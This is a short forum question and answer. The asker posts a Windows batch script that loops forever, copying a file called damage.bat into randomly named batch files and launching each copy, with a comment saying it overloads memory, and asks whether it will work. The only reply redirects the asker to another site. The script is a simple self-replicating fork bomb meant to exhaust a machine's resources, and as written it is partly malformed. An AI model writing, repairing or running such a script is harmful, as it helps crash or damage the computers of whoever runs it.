is this format going to work ( I listed its use in the code)

Question

@echo off
:A
SET/A x=%RANDOM%%%19999999999%
Type damage.bat>>%x%bat
start%x%.bat
goto:A
/*this overloads memory*/

Answer 1

I don't think you get the appropriate answer for this Windows related topic. I pretty much sure that [https://superuser.com/] would be the best place to find your answer.